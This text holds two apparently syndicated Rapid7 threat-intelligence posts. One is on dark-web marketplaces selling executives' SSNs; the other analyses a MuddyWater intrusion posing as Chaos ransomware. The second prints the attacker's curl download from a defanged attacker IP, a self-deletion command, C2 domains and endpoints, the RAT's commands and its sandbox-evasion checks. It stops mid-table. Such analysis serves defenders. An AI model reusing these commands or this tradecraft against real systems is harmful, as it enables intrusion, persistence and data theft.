All posts by Alexandra Blia

Identity-as-a-Service: Uncovering Dark Web Marketplaces Trading Executive SSNs

Post Syndicated from Alexandra Blia original https://www.rapid7.com/blog/post/tr-identity-as-a-service-dark-web-marketplaces-executive-ssn

Introduction

Despite modern verification controls, identity theft remains one of the most pervasive threats to both individuals and enterprise organizations. U.S. Federal Trade Commission statistics show over 1 million identity theft reports annually, with related fraud and imposter scams accounting for billions in financial losses each year. While stolen credit cards enable rapid, short-term monetization, Social Security numbers (SSNs) represent a far more permanent and dangerous tier within the cybercrime ecosystem, because unlike payment cards, they cannot simply be deactivated. Once exposed, an SSN can support enabling unauthorized lines of credit, synthetic identity fraud, and sophisticated tax scams.

When exposed identity data belongs to corporate executives, board members, and other high-profile employees, the risk can extend beyond the individual. Threat actors target these high-profile individuals not just for their premium credit profiles, but to leverage their compromised identities for executive impersonation, corporate espionage, and downstream extortion. Rapid7’s recent alert telemetry underscores the severity of this targeted exposure: since early 2026 alone, we identified 476 instances of compromised SSN records across 395 unique corporate personnel. Over 73% of these exposures directly targeted top-level leadership, with C-suite executives comprising 44.6% of affected profiles and Presidents making up another 28.6%. Unsurprisingly, given the geographical nature of SSNs, 95.6% of these leaks stemmed from U.S.-headquartered organizations, concentrated heavily in high-value sectors like Financials (over 25%) and Industrials (17%).

In this blog, we explore the operational mechanics of the underground identity economy, focusing on three dominant SSN marketplaces tracked by Rapid7: Xilo, Bankom, and PeopleFinder, which together account for 81.5% of all executive SSN leaks in our dataset (led by Xilo at 40.8%, Bankom at 21.8%, and PeopleFinder at 18.9%). Using Rapid7 alert telemetry from the past year, we look at the profiles of affected corporate executives, how these marketplaces operate, and highlight how proactive dark web monitoring can mitigate upstream identity exposure before it is weaponized.

Why stolen SSNs retain their value

Not all stolen data retains its value for the same length of time. Leaked credentials can be reset, payment cards can be cancelled, and session tokens eventually expire. While these data types remain highly sought after by cybercriminals, their usefulness often depends on acting quickly before the victim or service provider invalidates them.

SSNs differ as they are effectively permanent, serving as a core identity attribute. Once exposed, they can remain valuable for years, enabling a wide range of fraud schemes long after the original breach. When combined with other personally identifiable information (PII), such as a victim’s name, date of birth, address, phone number, and employment history, an SSN becomes the foundation of a comprehensive identity profile that can be bought, sold, and repeatedly abused across the criminal ecosystem.

These identity profiles enable far more than traditional identity theft. Threat actors use them to open fraudulent financial accounts, create synthetic identities, bypass identity verification processes, file fraudulent tax or government benefit claims, and support highly targeted social engineering campaigns. Rather than serving a single purpose, a complete identity record becomes a reusable asset that can be monetized multiple times by different threat actors.

For corporate executives and other high-profile employees, exposed identity data can also create risk for the organization they represent. Publicly available information, from regulatory filings to corporate biographies and social media, can be combined with stolen identity data to build highly detailed profiles. These enriched records increase the credibility of phishing, business email compromise (BEC), and executive impersonation attacks, allowing threat actors to target not only the individual but also the organization they represent.

This durability has fueled a thriving underground economy where identity records are treated as searchable, reusable inventory rather than one-time commodities. The marketplaces examined in this research demonstrate just how mature and accessible this ecosystem has become.

Anatomy of an SSN marketplace

While platforms like Xilo, Bankomat, and PeopleFinder present a highly organized, user-friendly storefront, they operate strictly as downstream clearinghouses rather than original creators of their inventory. The vast supply of SSNs flooding these networks relies on a distinct, multi-tiered underground supply chain. The massive volume driving these platforms is primarily fueled by large-scale institutional network breaches, where wholesale hackers compromise data aggregators, healthcare systems, and financial providers. These massive SQL databases are sold in bulk on deep-web forums, where marketplace administrators purchase, parse, and upload them into their searchable storefronts. According to annual telemetry from the Identity Theft Resource Center, billions of individual data records are exposed annually through these mega-breaches, accounting for the vast majority of the inventory available online.

Another source of identity data comes from infostealer malware and targeted phishing campaigns. While mass breaches provide wholesale numbers, infostealers scrape highly contextual local data, such as saved browser forms and PDF documents like tax returns or corporate onboarding paperwork stored on unmanaged personal devices. When these localized logs are parsed by marketplace administrators, they yield the fresh, high-value identity profiles that allow buyers to target specific corporate leaders.

Although these platforms tap into a similar upstream supply chain, how they package and monetize this data varies significantly. To stand out in a maturing, highly competitive cybercrime market, each marketplace focuses on its own operational niche, ranging from ultra-low pricing and identity enrichment features to multi-asset carding integration and legacy data consistency. The following sections provide a deep dive into each marketplace, highlighting their specific functionalities, user interfaces, and distinct market advantages.

Xilo 

Xilo has been active since at least March 2025. The marketplace is hosted as a Tor hidden service, while also maintaining mirror sites on the clear web to improve accessibility and resilience.

Users can search for specific individuals by name, state, country (US or Canada), or year of birth (Figure 1). They can also request records that include phone numbers and email addresses in addition to the victim’s SSN. This can increase the value of the records by reducing the need for threat actors to source additional PII elsewhere. During our analysis, however, we did not identify any records that included email addresses, while records containing phone numbers were available at the same price as standard SSN records. Search results can also be sorted by price, although the cost appears to be fixed at $0.25 per SSN record.

Xilo-search-interface.png
Figure 1 – Xilo search interface

Search results typically display the victim’s full name, physical address, and date of birth before purchase. This information alone can help threat actors identify specific individuals for targeted campaigns, while the SSN is revealed only after the purchase is completed (Figure 2).

xilo-search-results.png
Figure 2 – Xilo search results

In addition to standard searches, Xilo offers a reverse lookup service that accepts an SSN or phone number and returns additional PII, including the victim’s full name and phone number (Figure 3). This service costs $0.50 per lookup, suggesting that enriching an existing identity profile is considered more valuable than purchasing an SSN alone. Threat actors can use this functionality to expand records obtained through the standard search, increasing the amount of PII associated with a single individual and, consequently, the potential for identity fraud.

xilo-reverse-search.png
Figure 3 – Xilo reverse search

The marketplace is supported by a Telegram channel used to announce technical updates and new domains. Although activity on the channel has been relatively limited, it has attracted more than 500 subscribers, providing an indication of interest in the service. Like many established cybercriminal services, Xilo appears prepared for domain disruptions by maintaining alternative access points and communicating them through Telegram, adopting the kind of resilience and service-continuity practices more commonly associated with legitimate online services.

Xilo accepts several cryptocurrencies, including Bitcoin, Litecoin, Monero, Ether, and Tether (USDT). Support for USDT is relatively uncommon among underground marketplaces and may reflect the marketplace’s focus on US-based identity data. The minimum deposit is just $1, lowering the barrier to entry for new users, while bonuses are offered for deposits exceeding $100 to encourage larger account balances.

Beyond its own infrastructure, Xilo actively advertises on well-known cybercrime forums, including XSS, as well as carding communities such as WWH-Club and Altenens (Figure 4). This marketing strategy is common among underground marketplaces seeking to expand their customer base. More notably, Xilo’s presence on carding-focused forums highlights the close relationship between stolen payment data and identity information, illustrating how different segments of the cybercrime ecosystem increasingly overlap and complement one another.

Xilo-advertisement_-Altenens.png
Figure 4 – Xilo advertisement on Altenens

Bankomat

Active since at least March 2022, Bankomat is one of the more established marketplaces operating in the underground identity theft ecosystem. The platform is accessible as a Tor hidden service while maintaining multiple clear web domains to improve availability. Its emergence coincided with the shutdown of several prominent carding and PII marketplaces, including Joker’s Stash and SSNDOB Marketplace, suggesting that Bankomat sought to capitalize on the resulting gap by combining identity data sales with traditional carding services.

The marketplace prominently lists its active domains and encourages users to save its onion address, describing it as the most reliable way to access the service. This reflects an awareness of the operational challenges faced by long-running underground marketplaces, particularly the risk of domain seizures and takedowns. By maintaining multiple access points and actively directing users toward its Tor service, Bankomat demonstrates the operational maturity needed to retain its customer base despite infrastructure disruptions.

Users can search for individuals by first and last name, combined with an additional identifier such as state, city, ZIP code, or date of birth (Figure 5). The search functionality is free, allowing users to identify potential victims before deciding whether to purchase a record. Search results display the victim’s full name, date of birth, and physical addresses, while the SSN is revealed only after purchase at a fixed cost of $4 per record. Unlike Xilo, however, Bankomat does not offer additional identity enrichment services or the ability to purchase supplementary PII directly through the platform.

Bankomat-search-bar.png
Figure 5 – Bankomat search bar

Beyond SSN records, Bankomat also functions as a traditional carding marketplace by offering stolen payment card details for sale, obtained through third-party sellers. The platform supports card validation services, including Viper and 4chk, allowing buyers to verify whether stolen payment cards remain active before using or reselling them. Similar functionality is offered by established carding marketplaces, such as Findsome and UltimateShop.

This combination of identity records, payment card data, and validation tools positions Bankomat as a one-stop marketplace for financially motivated threat actors. Rather than sourcing stolen identities and payment data from separate platforms, buyers can acquire multiple data types associated with the same victim through a single service. While SSN records cost $4, stolen payment card details are typically advertised for approximately $10, suggesting that Bankomat places greater commercial emphasis on its carding business, likely reflecting both higher profit margins and sustained demand within the underground economy (Figure 6).

bankomat-credit-card-listings.png
Figure 7 – PeopleFinder SSN listings

Bankomat currently accepts payments exclusively in Bitcoin, in contrast to newer marketplaces that increasingly support a wider range of cryptocurrencies to appeal to a broader customer base.

PeopleFinder

Active since at least February 2023, PeopleFinder is a successor to the SSNDOB Marketplace, whose primary domains were seized by law enforcement in June 2022. Following that takedown, the service re-emerged through a network of lookup mirrors using clear-web-sounding domain names such as “PeopleFinder.” The connection is also visible in the source code, where the front-end login page retains the original “ssndob” title text and logo. Through this infrastructure, the platform provides access to the same legacy database of more than 24 million compromised U.S. PII records.

To maintain a steady customer stream, PeopleFinder actively advertises its database on high-profile cybercrime and carding forums like WWH-Club and Exploit. This deliberate marketing keeps the service highly visible to financially motivated threat actors seeking verification tools for downstream fraud.

The layout itself is highly streamlined, featuring a basic search bar that closely mirrors Bankomat’s interface. Users can search the platform’s database by name, date of birth, or physical address completely free of charge. The initial search output displays the victim’s full name, date of birth, and associated physical addresses, allowing a threat actor to confirm they have targeted the correct corporate executive before paying for the record (Figure 7).

peoplefinder-ssn-listings.png
Figure 7 – PeopleFinder SSN listings

To reveal the hidden SSN, users must pay a fixed cost of $1.50 per lookup, putting its pricing structure right between Xilo and Bankomat. This strict, hyper-commoditized focus solely on core SSN details directly mirrors the operational blueprint of the original SSNDOB model. Rather than expanding into supplementary data types like phone numbers or credit cards, the operators chose to preserve their highly efficient, legacy pay-per-lookup infrastructure. The platform relies exclusively on Bitcoin transactions.

What Rapid7 telemetry reveals about the executive threat landscape

By monitoring dark web SSN marketplaces, Rapid7 actively alerts clients when leaked records of their executives or designated employees are discovered.

Since the beginning of 2026, our telemetry has identified 476 instances of compromised SSN records, representing 395 unique individuals, as several monitored personnel were affected by multiple exposures. Within this sample, most of the leaked SSNs were recorded in Xilo (40.8%), followed by Bankom (21.8%) and PeopleFinder (18.9%) (Figure 8).

leaked-ssns-by-marketplace.png
Figure 8 – The sample distribution of leaked SSNs by marketplace

Given that SSNs are issued within the United States, the overwhelming majority of compromised records in our dataset, 95.6%, were linked to organizations headquartered in the U.S., with others located in Spain, Canada, and Japan, trailing significantly behind (Figure 9).

leaked-ssns-by-country.png
Figure 9 – The sample distribution of leaked SSNs by country

Financials represented the largest sector in our sample, accounting for more than a quarter of organizations whose monitored executives appeared in leaked SSN records, followed by Industrials at 17% (Figure 10). One possible reason for the concentration in Financials is the volume and sensitivity of customer and employee data these organizations hold, including PII and tax-related information, which can make exposed identities particularly valuable to threat actors. Industrials may also present attractive targets because of their interconnected supply chains, where compromised identities can potentially support broader fraud, impersonation, or access attempts across partner ecosystems.

leaked-ssns-by-sector.png
Figure 10 – The sample distribution of leaked SSNs by sector

A closer analysis of the roles of targeted personnel reveals that C-suite executives (such as Chief Executive Officers and Chief Financial Officers) make up the largest portion at 44.6%. Presidential positions represent the second-largest segment at 28.6%, while functional management and administrative roles account for 13.9% of the compromised profiles.

These findings may reflect a natural monitoring bias, since organizations are more likely to prioritize senior personnel whose compromise poses a greater security risk. Even with that caveat, the concentration among senior leadership reinforces why executive identity exposure deserves specific attention.

Compromised executive PII can support targeted phishing, impersonation, and other social engineering campaigns against both the individual and the organization they represent.

Role Category

Key Roles Included

Unique Target Count

% of Unique Targets

Executive Leadership (C-Suite)

CEO, CFO, COO, CTO, CIO, Chief Revenue/Human Resources Officers

176

44.6%

Presidents & Vice Presidents

President, SVP, EVP, Regional Vice Presidents

113

28.6%

Functional Management & Admin

Directors, Heads of Departments, Managers, Executive Assistants

55

13.9%

Legal, Partner & Advisory

Managing Members, Partners, Corporate/Securities Attorneys

33

8.4%

Board, Governance & Officials

Board Trustees, Directors of the Board, State Senators, Vice Chairs

18

4.6%

Total Unique Individuals

395

100.0%

From detection to action: Responding to exposed executive PII

Because SSNs cannot simply be reset after exposure, organizations need a way to identify compromised executive PII early and determine what action can reduce the resulting risk.

These alerts are triggered using customer-defined assets, specifically the names of designated VIPs. When a potential match is flagged, Rapid7 analysts conduct preliminary OSINT verification, checking biographical details such as the VIP’s date of birth and primary locations, to confirm the listing’s accuracy before issuing an alert to the customer.

Once alerted, customers can choose to purchase the exposed SSN record directly through the “Ask-an-Analyst” service using their allocated dark web purchase credits (Figure 11). This capability allows security teams to inspect the full record, verify whether the exposed SSN is genuine, and determine whether additional protective measures are necessary for the affected executive. Furthermore, on platforms like Xilo, purchasing the listing removes the record from the marketplace entirely, actively taking it off the shelf before other threat actors can acquire it.

Rapid7-Platform-alert-leaked-executive-details.png
Figure 11 – Rapid7 Platform alert about the leaked details of a company executive

Conclusion and strategic defense actions

The illicit marketplaces examined by Rapid7 show how cheaply and efficiently stolen identity data can now be searched, purchased, and enriched. For executives and other high-profile employees, an exposed SSN can remain useful to threat actors long after the original compromise and may support identity fraud, social engineering, executive impersonation, or business email compromise. Because that information cannot simply be reset, organizations should treat executive identity exposure as an ongoing security risk.

To reduce that risk, executive protection and security teams should consider the following actions:

  • Monitor executive exposure on the dark web: Use digital risk protection capabilities configured with executive names, known locations, titles, and other relevant identifiers to detect compromised PII across illicit marketplaces and underground channels.

  • Use removal or takedown options where available: Where supported, work with security providers to acquire or remove exposed identity records before they are purchased and reused by other threat actors.

  • Reduce executives’ public digital footprint: Review public records, data-broker listings, corporate biographies, and social media profiles to limit unnecessary exposure of information such as dates of birth, home addresses, and phone numbers that can be used to enrich stolen records.

  • Require out-of-band verification for sensitive requests: Introduce mandatory secondary confirmation for financial transactions, access requests, or administrative changes involving executive accounts to reduce the risk of successful impersonation.

  • Provide targeted phishing and impersonation training: Give C-suite members, board members, and executive assistants focused guidance on how attackers can combine leaked PII with social engineering to make phishing and impersonation attempts more convincing.

The persistence of SSNs means the risk does not end when the original breach is discovered. Ongoing monitoring, rapid validation, and stronger verification controls can help organizations identify exposure earlier, reduce the value of stolen identity data, and make it harder for threat actors to turn compromised executive information into a wider attack against the business.

Muddying the Tracks: The State-Sponsored Shadow Behind Chaos Ransomware

Post Syndicated from Alexandra Blia original https://www.rapid7.com/blog/post/tr-muddying-tracks-state-sponsored-shadow-behind-chaos-ransomware

Executive summary

In early 2026, a sophisticated intrusion initially appearing to be a standard Chaos ransomware attack was assessed to be consistent with a targeted state-sponsored operation. While the threat actor operated under the banner of the Chaos ransomware-as-a-service (RaaS) group, forensic analysis revealed the incident was a “false flag” masquerade. Technical artifacts, including a specific code-signing certificate and Command-and-Control (C2) infrastructure, suggest with moderate confidence that this activity is linked to MuddyWater (Seedworm), an Iranian Advanced Persistent Threat (APT) affiliated with the Ministry of Intelligence and Security (MOIS).

The campaign was characterized by a high-touch social engineering phase conducted via Microsoft Teams, where the attackers utilized interactive screen-sharing to harvest credentials and manipulate Multi-Factor Authentication (MFA). Once inside, the group bypassed traditional ransomware workflows, forgoing file encryption in favor of data exfiltration and long-term persistence via remote management tools like DWAgent. This report deconstructs the infection chain and analyzes the custom “Game.exe” Remote Access Trojan (RAT).

Additionally, this explores the process by which MuddyWater is increasingly leveraging the cybercriminal ecosystem to provide plausible deniability for geopolitical espionage and prepositioning, particularly in the US. The strategy highlights the convergence between state-sponsored intrusion activity and criminal tradecraft, where a big “tell” lies in the techniques that were deployed – and those that weren’t.

This overall strategy suggests the primary goal was not financial gain. It is also further proof of the lines blurring against the background of geopolitical tensions, and that attribution is becoming more difficult if teams do not take it upon themselves to conduct proper and thorough research.

Rapid7 coverage

Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s Intelligence Hub, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.

Chaos ransomware: Profile and targeting

Active since February 2025, Chaos is a ransomware-as-a-service (RaaS) operation specializing in big-game hunting (BGH) attacks against high-profile organizations, with reported ransom demands reaching up to $300,000. Despite the name, it is distinct from the Chaos malware builder identified in 2021. The group emerged shortly after the July 2025 law enforcement disruption of BlackSuit infrastructure during Operation Checkmate and is likely composed of former BlackSuit and/or Royal members. To expand its operations, Chaos advertises its affiliate program on cybercrime forums, such as RAMP (prior to its takedown) and RehubCom.

Chaos relies heavily on social engineering and remote access abuse to gain initial access. Rapid7 observed techniques that include spam email flooding combined with voice-based phishing (vishing), often involving impersonation of IT support personnel. Chaos then persuades victims to grant remote access via legitimate tools such as Microsoft Quick Assist, allowing operators to establish an initial foothold.

In line with common ransomware practices, Chaos typically employs double extortion, exfiltrating sensitive data prior to encryption and threatening public disclosure via its data leak site (DLS). The group has also demonstrated triple extortion by threatening distributed denial-of-service (DDoS) attacks against the victim’s infrastructure. These capabilities are reportedly offered to affiliates as part of bundled services, representing a notable feature of its RaaS model. Additionally, Chaos has been observed leveraging elements of quadruple extortion, including threats to contact customers or competitors to increase pressure on victims.

A distinguishing characteristic of the group’s DLS is the use of a “blind” countdown timer, which withholds the victim’s identity until expiration, likely intended to accelerate negotiations (Figure 1). As of late March 2026, Chaos has claimed 36 victims and maintained a consistent operational tempo (Figure 2). The group predominantly targets organizations in the United States, with a particular focus on the construction, manufacturing, and business services sectors (Figure 3).

Chaos-DLS-screenshot.png
Figure 1: Screenshot from Chaos’ DLS

chart-claimed-victims.png
Figure 2: Number of claimed victims over time

geographic-victim-distribution.png
Figure 3: Geographic victim distribution

Incident overview

The intrusion that Rapid7 investigated began with a targeted social engineering campaign leveraging Microsoft Teams, where the threat actor (TA) engaged employees through external chat requests. By operating interactively through compromised users, the attacker conducted initial discovery, harvested credentials, including MFA manipulation, and quickly transitioned to using legitimate accounts for internal access.

From there, the TA established persistence using remote access tools such as DWAgent and AnyDesk, before deploying additional payloads and further control of the environment. Following this, the TA exfiltrated data from the compromised environment and subsequently contacted the victim via email, claiming data theft and initiating ransom negotiations (Figure 4).

 

incident-breakdown.jpg
Figure 4: Incident breakdown

Initial Access via social engineering and remote interaction

The TA achieved initial access through social engineering conducted via Microsoft Teams, where they initiated one-on-one chats with users from a controlled account. During these interactions, the TA established screen-sharing sessions, gaining direct visibility and interactive access to user assets.

While connected, the TA executed basic discovery commands, accessed files related to the victim’s VPN configuration, and instructed users to enter their credentials into locally created text files. In at least one instance, the TA deployed a remote management tool (AnyDesk) to further facilitate access.

ipconfig /all
nslookup
net start
whoami
ping

Figure 5: Discovery commands executed by the TA

Credential harvesting and account compromise

A key component of the intrusion involved interactive credential harvesting: The TA explicitly instructed victims to enter credentials into locally created text files (credentials.txt, cred.txt) and to modify MFA configurations to include attacker-controlled devices.

Additionally, Rapid7’s analysis of browser artifacts revealed access to the URL hxxps[://]adm-pulse[.]com/verify.php.

The URL mimicked a Quick Assist themed phishing page, indicating credential harvesting through impersonation.

Establishing initial foothold and remote access

Following credential compromise, the TA authenticated to internal systems, including a Domain Controller, using multiple compromised accounts. They then established persistent remote access through RDP sessions and deployment of the remote management tool DWAgent. The DWAgent installation chain included:

File name

Description

dwagent.exe

Remote access tool

pythonw.exe

Cmd version of python interpreter

dwagsvc.exe

DWAgent service

dwaglnc.exe

Background component of DWAgent

Table 1: Files observed during installation of DWAgent

Payload delivery and execution

The TA later executed commands via RDP to download additional payloads using curl:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

After the download, the TA executed the binary ms_upd.exe, initiating a multi-stage infection chain. 

Upon successful execution, ms_upd.exe downloaded additional components:

File name

SHA256

Description

WebView2Loader.dll

a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

Legitimate DLL

Game.exe

1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

Backdoor granting the TA access to the infected machine

visualwincomp.txt

c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

Encrypted configuration

Table 2: Components downloaded by ms_upd.exe

Lateral movement 

The TA expanded access within the environment by leveraging compromised accounts and establishing remote access channels. They used RDP sessions to move between systems, allowing them to operate interactively and access additional resources within the network.

Extortion activity and data leak claims

The TA distributed emails to multiple users, alleging successful data exfiltration, and provided a .onion link for negotiation. Open-source intelligence (OSINT) collection identified a corresponding entry on the Chaos DLS referencing data; however, all identifying details were redacted, as per the group’s typical “blind” countdown timer. 

A subsequent email introduced a new contact address and instructed recipients to locate a note allegedly placed within their Desktop directory containing “access credentials” for a secure chat. Rapid7 conducted a threat hunt across all assets that focused on files created or accessed within Desktop directories and subdirectories and did not identify any artifacts consistent with the TA’s claims. The victim further validated the affected user systems and confirmed the absence of such files. Despite these inconsistencies in the initial proof-of-compromise, the TA later published the stolen data on its DLS in line with modern extortion tactics. The victim confirmed that the leaked data was legitimate.

Malware analysis

ms_upd.exe 

The binary functions as a downloader that begins by collecting basic host information, including computer name, username, and domain. This data is used to generate a unique client identifier, concatenating computer name, username, and tick count, which is sent to the C2 server moonzonet[.]com via a /register request, followed by periodic /check requests to determine the execution flow.

Based on the C2 response, the malware either proceeds when receiving an “approved” status or retries registration, if instructed. Once approved, it reports a “downloading” status and prepares a working directory under the user’s Downloads folder (falling back to C:\Users\Public\Downloads if necessary).

The dropper then retrieves three payload components from the C2:

  • Game.dll (saved as WebView2Loader.dll)

  • Game.exe

  • Game.config (saved as visualwincomp.txt)

If all downloads succeed, the malware reports a “running” status and executes the primary payload – Game.exe. Execution success is monitored, with the result communicated back to the C2 as either “success” or “error”. Upon successful execution, the dropper triggers a self-deletion routine via a delayed command cmd.exe /c ping 127.0.0.1 -n 6 > nul && del /f /q \”%s\”.

ms-upd-main-function-snippet.png
Figure 6: Snippet from the main function of ms_upd.exe

As seen in Figure 6, the malware doesn’t use any form of obfuscation to hide its purpose – API imports are statically resolved, and strings are stored in a plaintext form. This simplicity suggests the tool was likely developed for limited or single-use deployment.

At the time of writing, only two samples have been observed in public repositories, both exhibiting identical functionality.

Game.exe

Game.exe is a custom RAT that masquerades as a legitimate Microsoft WebView2 application. Analysis of the binary’s PDB path C:\Users\pc\Downloads\WebView2Samples-main\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb confirms that the developer trojanized the official Microsoft WebView2APISample project: https://github.com/MicrosoftEdge/WebView2Samples/tree/main/SampleApps/WebView2APISample

The malware deviates from the dropper in a way that it implements some obfuscation and anti analysis techniques: 

ATT&CK ID

Technique

Purpose

Example

T1027.007

Dynamic API and DLL resolution

Hide the malware functionality

Usage of LoadLibraryA() and GetProcAddress() APIs

T1027

String Obfuscation

Hide sensitive strings from AV solutions

Names of DLLs, APIs, registry paths

T1497.001

Sandbox Detection

Search for known analysis-related DLLs that are loaded into the current process

sbiedll.dll, dbghelp.dll, api_log.dll, vmcheck.dll,  wpespy.dll

T1497.001

Virtual Machine Detection via CPU

Compare the processor name string against a list of virtualization-related keywords

Virtual, VMWare, KVM, Hyper-V

T1082 

Removable Drive Enumeration

Enumerate logical drives and check if any removable drives are present

Usage of GetLogicalDrives() and GetDriveTypesA() to enumerate logical drives and compare their type against DRIVE_REMOVABLE

T1497.003 

Sleep / Timing Check

Identify sandbox time-skipping mechanisms or identify hooked timing APIs

GetTickCount() followed by Sleep(1000) and another GetTickCount() to verify if approximately one second elapsed

Table 3: Anti analysis / anti detection techniques used by Game.exe

If the malware does not detect an analysis environment,, it establishes persistence by self-installing into a randomized directory under C:\ProgramData\visualwincomp-<random>\, where it copies itself alongside a legitimate WebView2Loader.dll and an encrypted configuration file, visualwincomp.txt.

Additionally, the malware enforces single execution on an infected host by registering the mutex ATTRIBUTES_ObjectKernel.

The RAT decrypts its configuration using AES-256-GCM to extract the attacker’s C2 server hostname uploadfiler[.]com and port 443. The malware first registers the victim by sending registration information such as computer name, username, and privilege level to the /home endpoint. Once registered, it enters an infinite loop polling /index.php every 60 seconds. The RAT features 12 core capabilities including arbitrary command execution via hidden cmd.exe or encoded PowerShell sessions; file uploads with retry logic; file deletion; and the establishment of persistent interactive shells. Command results and execution status are reported back to the /profile endpoint. 

Command

Description

run_cmd

Execute command via cmd.exe 

run_powershell

Execute command via PowerShell 

upload

Write base64-encoded file

upload_chunk

Chunked file upload with append mode

delete_file

Delete a file

cmd_start

Start interactive cmd.exe shell

cmd_input

Send input to interactive shell

cmd_stop

Stop interactive shell

ps_start

Start interactive PowerShell

ps_input

Send input to PowerShell

ps_stop

Stop interactive PowerShell

re_register

Re-register with a new agent_id

Table 4: Supported commands of the RAT


The malware design is unorthodox, characterized by an inconsistent approach to concealment. While it utilizes XOR encoding (key: 0xAB) to hide specific anti-analysis strings, such as VM detection keys and sandbox-related DLL names, critical indicators like file paths, RAT command strings, and JSON registration formats are left in plaintext. 

This inconsistency extends to its interaction with the Import Address Table (IAT). While the malware dynamically resolves certain sensitive APIs at runtime, such as CreateMutexA, other highly suspicious functions like CreatePipe and CreateProcessA remain statically linked. Notably, the developer dynamically loads the Sleep API via GetProcAddress despite it already being statically imported in the IAT.

These architectural discrepancies suggest the author is likely an unseasoned developer. The mixture of static imports and visible strings provides significant telemetry for AV and EDR solutions to identify and stop the threat (confirmed during the incident response).

Similar to ms_upd.exe during the hunt on public malware sharing platforms, we were able to find another sample (SHA256 3df9dcc45d2a3b1f639e40d47eceeafb229f6d9e7f0adcd8f1731af1563ffb90), implementing the same logic as Game.exe but masquerading itself as WebView2.exe.

Attribution remains challenging due to the absence of specialized attack patterns or known APT delivery vectors, such as NSIS used by Chinese APTs:

However, the presence of a specific signing Certificate and work of other threat researchers made it easier.

Certificate

While the TA adopted the Chaos Ransomware brand to project a cybercriminal identity, the underlying infrastructure reveals a signature previously associated with infrastructure linked to the Iranian Ministry of Intelligence and Security (MOIS). The primary technical bridge to the APT group MuddyWater (Seedworm) is the code-signing certificate used to validate the malware samples.

During the analysis of the downloader (ms_upd.exe), we identified a consistent digital signature:

Field

Value

Name

Donald Gay

Issuer

Microsoft ID Verified CS AOC CA 02

Algorithm

sha384RSA

Thumbprint

B674578D4BDB24CD58BF2DC884EAA658B7AA250C

Serial Number

33 00 07 9A 51 C7 06 3E 66 05 3D 22 9B 00 00 00 07 9A 51

Status

Time-invalid (revoked shortly after deployment)

Table 5: Certificate details

The “Donald Gay” certificate is a known shared resource within MuddyWater’s toolkit. Alongside its frequent companion, “Amy Cherne,” this identity forms a distinct cluster of Iranian MOIS-affiliated infrastructure. According to threat intelligence reports from March and April 2026, this specific certificate has been tied directly to MuddyWater’s “Operation Olalampo,” a campaign targeting organizations across the U.S. and the MENA (Middle East and North Africa) regions. Historically, this identity was also used to sign Stagecomp (ms_upd.exe), a downloader for the Darkcomp backdoor (Game.exe), both of which are firmly attributed to MuddyWater by multiple global security vendors.

Beyond the certificate, other technical artifacts solidify this attribution:

  • Infrastructure overlap: The domain moonzonet[.]com, which served as the C2 for ms_upd.exe, was linked to MuddyWater in early 2026 during a wave of activity targeting Israeli and Western organizations.

  • Execution tradecraft: The group’s signature use of pythonw.exe to inject code into suspended processes remains a consistent hallmark of their deployment chain.

  • Social engineering technique: The use of interactive Microsoft Teams sessions to harvest MFA and credentials aligns closely with the “IT Support” persona MuddyWater has refined throughout 2026.

Attribution: The “Chaos” masquerade

The convergence of technical and contextual evidence is consistent with attribution to MuddyWater with moderate confidence. The observed use of Chaos ransomware does not indicate a shift in the group’s underlying objectives, but rather reflects a consistent effort to obscure operational intent and complicate attribution. While attribution evasion is a common characteristic of state-affiliated actors, MuddyWater’s reported increase in operational activity as of early 2026, primarily involving cyber espionage and potential prepositioning for disruptive operations across Western and Middle Eastern networks, has likely intensified its reliance on deceptive false-flag operations.

This assessment aligns with previously observed behavior. In late 2025, MuddyWater was linked to activity involving the Qilin RaaS ecosystem in an operation targeting an Israeli organization. Following the subsequent public attribution of that incident to the MOIS, it is plausible that the group adopted alternative ransomware branding, in this case Chaos, in an effort to reduce attribution risk and maintain a degree of plausible deniability.

The use of a RaaS framework in this context may enable the actor to blur distinctions between state-sponsored activity and financially motivated cybercrime, thereby complicating attribution. Furthermore, the inclusion of extortion and negotiation elements could serve to focus defensive efforts on immediate impact, likely delaying the identification of underlying persistence mechanisms established via remote access tools such as DWAgent or AnyDesk.

Notably, the apparent absence of file encryption, despite the presence of Chaos ransomware artifacts, represents a deviation from typical ransomware behavior. This inconsistency may indicate that the ransomware component functioned primarily as a facilitating or obfuscation mechanism, rather than as the primary objective of the intrusion. This deviation highlights a mismatch between typical profit-driven ransomware behavior and the actor’s apparent espionage objectives. It further suggests a likely explanation for the inconsistent data provided by the TA as an initial proof-of-compromise. 

Taken together, these technical indicators and procedural inconsistencies are indicative of a targeted, state-sponsored intrusion masquerading as opportunistic extortion activity.

Conclusion

This incident highlights the increasing convergence between state-sponsored intrusion activity and cybercriminal tradecraft. While the operation incorporated recognizable elements of ransomware campaigns, such as extortion messaging and leak site publication, the absence of encryption and the presence of established espionage techniques suggest that financial gain was unlikely to be the primary objective.

The assessed link to MuddyWater indicates a continued evolution in the group’s operational approach, including the apparent use of RaaS ecosystems and branding to obscure attribution. This aligns with broader trends in which state-aligned actors adopt criminal tactics to introduce ambiguity and delay defensive response.

This case underscores the importance of looking beyond overt ransomware indicators. Defenders should also focus on the underlying intrusion lifecycle. Techniques such as social engineering via enterprise communication platforms, credential harvesting with MFA manipulation, and the abuse of legitimate remote access tools remain critical enablers of compromise.

Ultimately, this activity is best understood as a hybrid intrusion model, in which ransomware is leveraged not as an end goal but as a mechanism for concealment, coercion, and operational flexibility within a broader intelligence-driven campaign.

For additional blog posts and detailed analysis from Rapid7 Labs on all things cyber-related to the conflict, please visit our Iran Conflict Cyber Threat Intelligence Hub.

Rapid7 Customers

Indicators of compromise (IoCs)

File indicators

File Name

SHA 256

Description

ms_upd.exe

24857fe82f454719cd18bcbe19b0cfa5387bee1022008b7f5f3a8be9f05e4d14

Initial Downloader ms_upd.exe

DIDS.exe

